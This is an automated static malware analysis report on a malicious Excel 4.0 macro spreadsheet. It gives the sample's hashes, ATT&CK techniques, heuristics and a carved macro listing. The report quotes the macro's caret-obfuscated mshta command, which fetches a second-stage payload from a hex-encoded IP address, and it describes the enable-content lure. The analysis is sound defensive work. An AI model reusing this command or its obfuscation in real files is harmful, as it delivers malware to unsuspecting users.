Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 4abec5f4bf687b8c…

MALICIOUS

Office (OLE) / .XLS

64.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 8cfbc2bd273ee200228c52e00b3467e6 SHA-1: c175f61c42a737f583cd986197055a1f6ea399d2 SHA-256: 4abec5f4bf687b8cd4c8ccbf1fd50ce2d6a4c33679744155f46a9e2dc9a68905
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The document body contains a lure to enable editing and content. The macro reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which is designed to download a second-stage payload from the specified URL. This indicates a downloader attack pattern.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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